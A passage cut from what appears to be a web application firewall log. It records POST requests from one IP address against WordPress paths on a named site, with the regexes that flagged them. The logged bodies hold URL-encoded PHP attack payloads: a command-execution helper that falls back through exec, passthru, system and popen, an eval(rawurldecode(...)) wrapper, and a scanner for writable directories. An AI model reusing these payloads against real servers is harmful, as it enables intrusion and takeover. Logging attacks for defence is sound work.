20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:21:09","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HA:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3347\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nHA=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:21:14","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UQ:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3347\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nUQ=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 19:21:20","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:3370\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27DisableExternal%27%2C%27banners_signup%27%2C%27admin_design.inc%27%2C%27rate_accept03%27%2C%27product_reviews%27%2C%27stylesheet%27%2C%27managetabs%27%2C%27class.mail_queue%27%2C%27_parse_proppatch%27%2C%27ndbcluster.lib%27%2C%27assignment_sci%27%2C%27Predicate%27%2C%27alertpay%27%2C%27enrol_ldap%27%2C%27beginedit5%27%2C%27data_modules_acp%27%2C%27object.write%27%2C%27imagerotator%27%2C%27norwegian%27%2C%27freebasic%27%2C%27display.menu%27%2C%27psigate_xml%27%2C%27img_manager%27%2C%27affiliate%27%2C%27archives_actions%27%2C%27more_links%27%2C%27users.class%27%2C%27formselecteditor%27%2C%27services_files%27%2C%27copyescape%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 19:21:30","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> rb:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4400\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncookie:4=ce288246c7d2df0454c666077eb603cf; 